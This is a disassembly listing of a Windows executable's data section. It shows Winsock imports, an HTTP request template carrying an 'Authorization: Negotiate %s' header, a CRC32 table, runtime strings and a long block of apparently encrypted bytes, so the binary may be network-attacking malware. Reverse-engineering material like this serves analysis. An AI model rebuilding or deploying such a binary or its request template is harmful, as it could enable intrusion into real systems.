dword_421190	dd 7C80CCA8h	; resolved to->KERNEL32.LCMapStringW					; seg000:0041BEBEr ...
		dd 7C812E76h, 7C809915h, 7C8127A7h
dword_4211A0	dd 7C862E2Ah	; resolved to->KERNEL32.UnhandledExceptionFilter		dd 7C81DF77h, 0
dword_4211AC	dd 71AB4428h	; resolved to->WS2_32.WSACleanup					; sub_405A89+8Er
dword_4211B0	dd 71AB664Dh	; resolved to->WS2_32.WSAStartup					; sub_405A0C+15r
dword_4211B4	dd 71AB3EA1h	; resolved to->WS2_32.setsockoptdword_4211B8	dd 71AB4519h	; resolved to->WS2_32.ioctlsocketdword_4211BC	dd 71AB3E00h	; resolved to->WS2_32.binddword_4211C0	dd 71AB88D3h	; resolved to->WS2_32.listendword_4211C4	dd 71AC1028h	; resolved to->WS2_32.acceptdword_4211C8	dd 71AB4FD4h	; resolved to->WS2_32.gethostbynamedword_4211CC	dd 71AC0BDEh	; resolved to->WS2_32.shutdowndword_4211D0	dd 71AB2DC0h	; resolved to->WS2_32.select					; sub_405409+115r
dword_4211D4	dd 71AB4544h	; resolved to->WS2_32.__WSAFDIsSetdword_4211D8	dd 71AB2BF4h	; resolved to->WS2_32.inet_addr					; sub_402DDD+2Ar ...
dword_4211DC	dd 71AB2B66h	; resolved to->WS2_32.ntohs					; sub_402988+EDr ...
dword_4211E0	dd 71AB3B91h	; resolved to->WS2_32.socket					; sub_402DDD+49r ...
dword_4211E4	dd 71AB406Ah	; resolved to->WS2_32.connect					; sub_402DDD+64r ...
dword_4211E8	dd 71AB615Ah	; resolved to->WS2_32.recv					; sub_40283D+135r ...
dword_4211EC	dd 71AB428Ah	; resolved to->WS2_32.send					; sub_402988+26Br ...
dword_4211F0	dd 71AB9639h	; resolved to->WS2_32.closesocket					; sub_402DDD+154r ...
		align 8
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40484C+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 8
dbl_421238	dq 1.388888888888889e-2	; DATA XREF: sub_40465E+2Fr
dbl_421240	dq 1.666666666666667e-1	; DATA XREF: sub_40465E+15r
dword_421248	dd 0FFFFFFFFh						; sub_404B1Er ...
		align 10h
dbl_421250	dq 1.333333333333333	; DATA XREF: sub_4046AA+79r
dword_421258	dd 0							; sub_404BCE+5Bo ...
dword_42125C	dd 0				dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
		dd 0
dbl_421660	dq 9.765625e-4		; DATA XREF: seg000:0040BFACr
					; seg000:0040BFC7r ...
dbl_421668	dq -3.0517578125e-5	; DATA XREF: sub_41409A+1Er
dbl_421670	dq 1.0			; DATA XREF: sub_415E6C+6Cr
					; sub_415FB3+6Cr ...
dword_421678	dd 0FFFFFFFFh, 417BCFh,	417BE3hbyte_421684	db 6			; DATA XREF: sub_417D4C:loc_417DA3r
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: seg002:off_437D5Co
		unicode	0, <(null)>,0
		align 10h
aNull_0		db '(null)',0           ; DATA XREF: seg002:off_437D58o
		align 4
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 10h
aAtan2		db 'atan2',0
		align 4
aAtan		db 'atan',0
		align 10h
aAcos		db 'acos',0
		align 4
aAsin		db 'asin',0
		align 10h
aTanh		db 'tanh',0
		align 4
aCosh		db 'cosh',0
		align 10h
aSinh		db 'sinh',0
		align 4
aLog10		db 'log10',0
		align 10h
aLog		db 'log',0
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: seg002:off_437F84o
		align 10h
dbl_4217B0	dq 0.0			; DATA XREF: sub_41999C+8Cr
					; sub_41999C+ACr ...
dbl_4217B8	dq 4.195835e6		; DATA XREF: sub_419EB1+Fr
dbl_4217C0	dq 3.145727e6		; DATA XREF: sub_419EB1+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_419EEFo
		align 10h
aE000		db 'e+000',0            ; DATA XREF: sub_41A016+93o
		align 4
dword_4217F8	dd 0FFFFFFFFh, 41A701h,	41A70Bh, 0dword_421808	dd 0FFFFFFFFh, 0		dd offset loc_41A887
		align 8
		dd offset sub_41A865
		dd offset sub_41A86F
dword_421820	dd 0FFFFFFFFh, 41AAB7h,	41AABBh, 0dword_421830	dd 0FFFFFFFFh, 41AB19h,	41AB22h, 0dword_421840	dd 0FFFFFFFFh, 0		dd offset loc_41ABED
		align 10h
		dd offset loc_41ABD9
		dd offset loc_41ABDD
dword_421858	dd 0FFFFFFFFh, 0		dd offset loc_41AC43
		align 8
		dd offset loc_41AC2F
		dd offset loc_41AC33
dword_421870	dd 2 dup(0)						; seg000:0041D230o ...
dword_421878	dd 0FFFFFFFFh, 41BE81h,	41BE85h, 0FFFFFFFFh, 41BF35h, 41BF39h
					; DATA XREF: seg000:0041BD76o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 10h
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 10h
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 4
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 10h
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: seg002:off_4383CCo
		db '- floating point not loaded',0Dh,0Ah,0
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_41CF19+119o
		align 10h
asc_421B40	db 0Ah			; DATA XREF: sub_41CF19+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_41CF19+D3o
		db 0Ah
		db 'Program: ',0
		align 10h
a___		db '...',0              ; DATA XREF: sub_41CF19+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_41CF19+7Do
		align 10h
dword_421B80	dd 0FFFFFFFFh, 41D2F0h,	41D2F4haSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTz		db 'TZ',0               ; DATA XREF: sub_41E162+Ao
		align 10h
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_41E6EE+3Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_41E6EE+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_41E6EE+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_41F004:loc_41F0F9o
		align 4
a1Inf		db '1#INF',0            ; DATA XREF: sub_41F004+D8o
		align 10h
a1Ind		db '1#IND',0            ; DATA XREF: sub_41F004+C7o
		align 4
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_41F004+ADo
		align 10h
dword_421C20	dd 0FFFFFFFFh, 41F9FCh,	41FA00h, 0FFFFFFFFh, 41FA6Bh, 41FA6Fh
					; DATA XREF: seg000:0041F84Ao
		dd 421D40h
off_421C3C	dd offset loc_41FFA8	; DATA XREF: sub_41FDB0+4Do
					; sub_41FFC4+Co
		dd offset sub_41FE6E
		dd offset sub_41FF8B
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_41FDB0+1Eo
		dd offset dword_421D78
off_421C5C	dd offset loc_41FED5	; DATA XREF: sub_41FE0A+4Eo
					; sub_41FE98+11o ...
		dd offset sub_41FE6E
		dd offset sub_41FE7B
		dd offset dword_421DC8
off_421C6C	dd offset loc_420090	; DATA XREF: sub_41FFDC+4Do
					; sub_4200AC+Co
		dd offset sub_41FE6E
		dd offset sub_420073
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_41FFDC+1Eo
		dd offset dword_421DF8
off_421C94	dd offset sub_420112	; DATA XREF: sub_42012E+8o
					; sub_42016B+8o ...
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 1, 42h, 0
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: seg000:004201D2o
		align 10h
		dd offset dword_421E40
off_421CB4	dd offset loc_4201ED	; DATA XREF: sub_4201D8o
					; seg002:off_438AF0o ...
dword_421CB8	dd 0E06D7363h, 1, 2 dup(0)		dd 3, 19930520h, 2 dup(0)
off_421CD8	dd offset off_438AF0	; DATA XREF: seg001:00421D28o
					; seg001:00421D5Co ...
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_421CF0	dd offset off_438B08	; DATA XREF: seg001:00421D24o
					; seg001:00421D58o ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
off_421D08	dd offset off_438B28	; DATA XREF: seg001:00421D20o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_421D08
		dd offset off_421CF0
		dd offset off_421CD8
dword_421D2C	dd 3 dup(0)			dd 3, 421D20h, 3 dup(0)
		dd offset off_438B28
		dd offset dword_421D2C+4
		align 8
		dd offset off_421CF0
		dd offset off_421CD8
dword_421D60	dd 4 dup(0)			dd 2, 421D58h
dword_421D78	dd 3 dup(0)			dd offset off_438B08
		dd offset dword_421D60+8
		align 10h
off_421D90	dd offset off_438B48	; DATA XREF: seg001:00421DA8o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_421D90
		dd offset off_421CF0
		dd offset off_421CD8
		dd 0
		db    0			; DATA XREF: seg001:00421DD8o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 3, 421DA8h
dword_421DC8	dd 3 dup(0)			dd offset off_438B48
		dd offset unk_421DB8
		dd offset off_421CD8
dword_421DE0	dd 4 dup(0)			dd 1, 421DDCh
dword_421DF8	dd 3 dup(0)			dd offset off_438AF0
		dd offset dword_421DE0+8
		align 10h
off_421E10	dd offset off_438B68	; DATA XREF: seg001:00421E28o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_421E10
dword_421E2C	dd 3 dup(0)			dd 1, 421E28h
dword_421E40	dd 3 dup(0)			dd offset off_438B68
		dd offset dword_421E2C+4
		align 8
dword_421E58	dd 19930520h, 2, 421E78h, 5 dup(0)		dd 0FFFFFFFFh, 42024Ch,	0
		dd offset sub_420244
dword_421E88	dd 19930520h, 2, 421EA8h, 5 dup(0)		dd 0FFFFFFFFh, 420270h,	0
		dd offset loc_420278
dword_421EB8	dd 19930520h, 2, 421ED8h, 1, 421EE8h, 3	dup(0)
					; DATA XREF: seg000:loc_42028Co
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 421F00h, 4	dup(0)
		dd offset loc_404E38
		dd 0
		dd offset off_438AF0
		dd 0
		dd 0FFFFFFFFh, 0
		dd 0Ch,	42016Bh, 2 dup(0)
		dd offset off_438B08
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	41FEF1h, 2 dup(0)
		dd offset off_438B28
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	41FFC4h, 0
dword_421F70	dd 3, 421F50h, 421F30h,	421F10hdword_421F80	dd 0							; sub_41FF8B+12o
		dd offset sub_41FF4E
		dd 0
		dd offset dword_421F70
dword_421F90	dd 19930520h, 1, 421FB0h, 5 dup(0)		dd 0FFFFFFFFh, 420298h
dword_421FB8	dd 19930520h, 1, 421FD8h, 5 dup(0)dword_421FD8	dd 0FFFFFFFFh, 4202ACh,	2, 421F30h, 421F10h, 0dword_421FF0	dd 0				dd offset sub_41FE98
		dd 0
		dd offset dword_421FD8+8
dword_422000	dd 19930520h, 1, 422020h, 5 dup(0)		dd 0FFFFFFFFh, 4202C0h
dword_422028	dd 19930520h, 1, 422048h, 5 dup(0)		dd 0FFFFFFFFh, 4202D4h
dword_422050	dd 19930520h, 1, 422070h, 5 dup(0)		dd 0FFFFFFFFh, 4202E8h,	0
		dd offset off_438B48
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	4200ACh, 0
dword_422098	dd 3, 422078h, 421F30h,	421F10hdword_4220A8	dd 0							; sub_420073+12o
		dd offset sub_420036
		dd 0
		dd offset dword_422098
dword_4220B8	dd 19930520h, 1, 4220D8h, 5 dup(0)		dd 0FFFFFFFFh, 4202FCh
dword_4220E0	dd 19930520h, 1, 422100h, 5 dup(0)		dd 0FFFFFFFFh, 420310h,	222F0h,	2 dup(0)
		dd 2233Ch, 211ACh, 22144h, 2 dup(0)
		dd 22AC8h, 21000h, 5 dup(0)
		dd 0F4D88621h, 0B55E3CA5h, 5F145C1h, 20602521h,	3C4708AFh
		dd 79773FFAh, 56035C62h, 0D1A7F08Eh, 29BD5734h,	3D7F363Ah
		dd 0BCB03296h, 47FAE286h, 0D9FA9B49h, 0FD9B8418h, 15D335D2h
		dd 0EF6DE326h, 0E89B2BCFh, 0D041B47Fh, 0DE337675h, 5AEED096h
		dd 3EBB2F02h, 0ECCF28BAh, 164A6FAAh, 2B24A08Bh,	0F831BCF1h
		dd 55D13A68h, 0D90341E0h, 6AE0D64Ch, 0F005C83Ah, 0D789EAF1h
		dd 229DA59Ch, 1C20A7C9h, 27782644h, 0FBF4939h, 0C8CB611Ah
		dd 33D6184Ch, 72C4BF5Bh, 0D2300F6Fh, 571117D4h,	0D1DF774Bh
		dd 266BC6D5h, 0A572C43Ch, 8353B96Dh, 0F44C51h, 471907A3h
		dd 2F708321h, 2CA3ABDBh, 0E73692DBh, 0ED0A262Bh, 0F2395C2Ah
		dd 46EC6A4Dh, 0F1C66E2Dh, 2873A71Dh, 453B0BBEh,	443F102Eh
		dd 3C6C2241h, 0DCAC896Fh, 0BEB139E2h, 5049B410h, 60682EB0h
		dd 4A0C994Bh, 0FD88C8FAh, 1542EB47h, 3CD678EEh,	9817C8C9h
		dd 0E62F1C4Dh, 10265668h, 0F14C3606h, 0DE63B785h, 3D21B991h
		dd 0B21440EBh, 0E17044E1h, 0A7EDA637h, 9E58F789h, 34E7F5FDh
		dd 69067872h, 4A2309C7h, 72B963D8h, 16505595h, 0B2173FC6h
		dd 2CB856ACh, 520A783Bh, 0D807F2A7h, 74851EE9h,	7367ECAEh
		dd 73DC8B5h, 0C12C8E9Fh, 4A01269Eh, 0F36B19EBh,	0A4209BBFh
		dd 2BD4AD49h, 8B9E02FDh, 0AACD17FCh, 0E64AEBB6h, 8599EF60h
		dd 0E97ABCA9h, 1EDC0D9Ah, 0D0BAB207h, 3AEFA188h, 0E22BAF1Bh
		dd 730CA6FDh, 0A03AB88Eh, 7FE8472Dh, 6C8D84CBh,	0C49FC1B0h
		dd 0E58C67DAh, 0
; ---------------------------------------------------------------------------
		adc	eax, 0D31A5C5Ah
		sahf
		retn
; ---------------------------------------------------------------------------
		db 0A7h
		dd 0A0BD64ECh, 0CF7E53ADh, 0AC7D9B31h, 0CF7B1EA2h, 0E8730969h
		dd 7ADBA6C1h, 0D305A69Ch, 216C27E5h, 804C3670h,	73D7A82Bh
		dd 24CD656Eh, 3F659371h, 7BBD4347h, 0F34684EAh,	0F7D80031h
		dd 0FC747FC1h, 0
		db 43h
; ---------------------------------------------------------------------------


loc_42233D:				; CODE XREF: seg001:0042233Ej
		aaa
		jno	short loc_42233D
		aas
; ---------------------------------------------------------------------------
		db 0E0h, 0F4h, 0D9h
		dd 3193h, 0DC2007Eh, 866970ACh,	0FC76029Ah, 16D0000h, 610FF1E5h
		dd 0B63BAA04h, 74D70554h, 2060000h, 1E28214h, 0CAEB40DCh
		dd 0C24A43D8h, 5485EBDFh, 0B044F48Fh, 475488h, 0BDC90207h
		dd 7BB89FE8h, 0EFD97AC5h, 3217C5FBh, 9115E459h,	0B7A054B2h
		dd 1F8060h, 2DE0159h, 2846F28Eh, 0B6A41D6Ah, 6D6D3DF1h
		dd 0D38B5F0Ah, 11B00F7h, 0E13630C5h, 6760B7ECh,	0D80DE3A5h
		dd 2960000h, 900CF44Fh,	1E40014h, 0BE112FACh, 0E8B55776h
		dd 0FB779EB0h, 56223C01h, 8566E3h, 39E70218h, 0BED52CEAh
		dd 4C1Eh, 592D001Bh, 4491DA38h,	0B891FEC4h, 2DF0060h, 6EC7786h
		dd 3E312A76h, 2A70005h,	80BED62Eh, 56B8C513h, 0D98A5471h
		dd 0A5212B75h, 340084h,	3813C04Eh, 0E6471A7Dh, 509832h
		dd 3B9F0124h, 0BCCBA079h, 0A88992D4h, 7A7B66B1h, 0B001F5F9h
		dd 16E0000h, 8A493696h,	13E26BF3h, 6EBFE21Bh, 0B0D1h, 0AB6700FBh
		dd 93DE23EFh, 0C373421Fh, 8CA0EBEEh, 11A0000h, 0B56F1BF2h
		dd 0F18105EDh, 449BE45Dh, 4A0000h, 0D43670B6h, 0FE98F10Dh
		dd 19B6882Ch, 1120000h,	0C5B3D990h, 1F36601Ch, 577DDFh
		dd 0C128010Dh, 0F75BD364h, 6F71AB07h, 4F9E644Bh, 0BECA75Dh
		dd 900000h, 770DEBEh, 0E941415Bh, 8A0077h, 56692D4Ch, 3342EB56h
		dd 0E5A4C8EBh, 7BBF6C9h, 6649A22Ah, 890000h, 0E3EF3451h
		dd 3D302A78h, 0A4606980h, 0ACB6E806h, 1C297B66h, 51D828h
		dd 7743009Dh, 8D04851Fh, 0CA2278ADh, 0E477Fh, 0C4CE0094h
		dd 2F8ABFF8h, 0AEF7357Fh, 95B22555h, 26A0000h, 0C510121Eh
		dd 776EC842h, 0CB38C254h, 0CF9Bh, 2E2801C1h, 2AB854F2h
		dd 20C9FA7Dh, 88A6A34Eh, 98A12093h, 7425h, 4F9F0066h, 7160851Dh
		dd 0D5CBF722h, 233CEF79h, 0DCC90B86h, 0CBDAh, 0F44C01ABh
		dd 2F2C9EABh, 0DA47C00Fh, 6EC29ACDh, 0AF4CE178h, 0C8E7E5B9h
		dd 0EF4BFD8Eh, 7309429h, 0D56A4EB8h, 0A72B50h, 0E28F0055h
		dd 1F2213C0h, 29821223h, 989E0FDh, 2E82821Bh, 0B76141h
		dd 0DFB201C2h, 13A787E3h, 8304E8Dh, 79FDh, 6227013Eh, 83A9675Fh
		dd 0B7D6199Eh, 96633328h, 1260000h, 0E5164C06h,	80E8B14Fh
		dd 0D4160149h, 0FE5A2479h, 0AF0000h, 0F8CC28Fh,	7C925D07h
		dd 0BE71CF27h, 5BA0h, 5CD20193h, 37B80A51h, 8CA50DA6h
		dd 28FBh, 48C7018Ch, 9A1E654Eh,	243D7BECh, 2B00000h, 0D74805E5h
		dd 93E6AC7Bh, 0F6067C71h, 0A840DFh, 842C01D6h, 0CCB9FEF8h
		dd 39DAA6F5h, 168F41h, 0DAA60035h, 4C002EA6h, 0F0D4E4F1h
		dd 7C9ADC92h, 0A1980AD0h, 26C0000h, 8DC69FB4h, 80E669EEh
		dd 9B1C59h, 0A31B0114h,	3A5F60DDh, 9CE9B096h, 44009Ch
		dd 0DD5A0ACFh, 1AF14FC4h, 0EE469BA4h, 0CAB6h, 908F0080h
		dd 7237FC2Fh, 7EEB141h,	6E4A8439h, 6B6CFC2h, 1BF40D75h
		dd 73F978h, 0BECC0268h,	84C1118Dh, 9BF46510h, 3FDCCA30h
		dd 4434E897h, 1650000h,	5E4155FCh, 0A13883AFh, 5B8AEDBDh
		dd 10B0000h, 0B593E17Dh, 0E82069CAh, 3768510Ah,	0CE053AEEh
		dd 6531h, 0A9CE01F9h, 0DB584634h, 62C55F8Dh, 145C5h, 0AF650063h
		dd 0CEE9288Eh, 0F2202167h, 6DE28E51h, 0F700D7h,	0EC4A811Bh
		dd 0AC6067DAh, 0CCA697DFh, 0F8CD09F1h, 4300EBh,	0EE88A5AFh
		dd 82714EA4h, 0CA7Fh, 5CA60175h, 0F1D1C937h, 0DB1D27C0h
		dd 0C6422Bh, 5DA0018Dh,	976A7624h, 353045D4h, 0A89091C4h
		dd 2F77A19Ch, 7D0000h, 0AC287CB1h, 93156C2Ah, 0C7A791h
		dd 79D20057h, 0BE55F6B8h, 6C4E6803h, 1EF00B4h, 0EE65A0B1h
		dd 0A09EAE15h, 2407BAh,	0CA6400F8h, 154DAA37h, 5F0441A1h
		dd 7DC3D92Fh, 0E9A40404h, 28004Bh, 0C5C538AFh, 185EA542h
		dd 2CE00E5h, 0E543B3CBh, 988D385h, 448ACD36h, 10436E38h
		dd 9A0A78h, 2A23003Fh, 452120C7h, 0B198E7C1h, 4D54h, 0AF80029Fh
		dd 0E6773932h, 69EA9324h, 515A2DE7h, 1DD00D8h, 0F4BA9F42h
		dd 0AF4EE381h, 2D20045h, 47332793h, 0B2D03965h,	9624FD02h
		dd 0D4E06006h, 0AF6C96h, 651800CEh, 0F50D64E7h,	0F5AEB6BAh
		dd 9CD201C3h, 5B11h, 0EA029Eh, 30D9E71Dh, 0EA02DE89h, 920AA111h
		dd 0D40Bh, 43A8011Ch, 0E5CA682h, 0B44C5998h, 7C53622Eh
		dd 1200000h, 610CA223h,	0A6C48AC3h, 5D70B03h, 0BA0103B5h
		dd 1990000h, 0D6106DE8h, 0A8F8115Eh, 19F0031h, 2987F49Dh
		dd 5184A000h, 22F0000h,	0F2C5F63Ch, 88476734h, 1700028h
		dd 0CBB9E3A6h, 24BB947Dh, 20FED54h, 9AC09389h, 0D61783A4h
		dd 6EBCh, 7BC0015Dh, 85A74893h,	9D2EE49Ch, 0BA8C17h, 205501A2h
		dd 5B0311C2h, 0EE48589Dh, 15000E7h, 0FB931C15h,	0C6ACE564h
		dd 5808DA8Dh, 7EFD3Fh, 0E18300CAh, 8E3DDC0Dh, 3588C10h
		dd 0DC83AB52h, 17400CEh, 3221AF85h, 5C7E8CECh, 258Eh, 0A8AB019Dh
		dd 0C3D902C4h, 0E30DD170h, 19B00C0h, 9E57ADDBh,	68D53F51h
		dd 0B05Ch, 0D8A202BFh, 69BFC8A4h, 24574E48h, 2BB00C8h
		dd 40F79C4Bh, 947568DDh, 4027D4B2h, 1B80000h, 0AEECCF20h
		dd 975ABB91h, 93B6638h,	20B0067h, 5B9FCF00h, 45B896D9h
		dd 95174DC3h, 0C54Ah, 814501A3h, 6CEA6E4Dh, 50C5h, 5D7F01BFh
		dd 1D8D9361h, 584232CCh, 75BEh,	293601C0h, 72962800h, 0AAC26091h
		dd 8775h, 3EA600BFh, 1C8F434Eh,	0AE41FBh, 842E00B9h, 0C37F9DBEh
		dd 1310000h, 0A1434CA4h, 175C74BAh, 2AD0000h, 1D84063Ch
		dd 0B5BCB158h, 0AD8BC5EEh, 1C4A7442h, 0A7692186h, 0A94BDDFh
		dd 0B20000h, 604CC197h,	54387AB3h, 0B89E335Eh, 18386A5Bh
		dd 1D8E6B1h, 0C9F33Bh, 546C00B3h, 0FA42C2C7h, 6FE4A5Dh
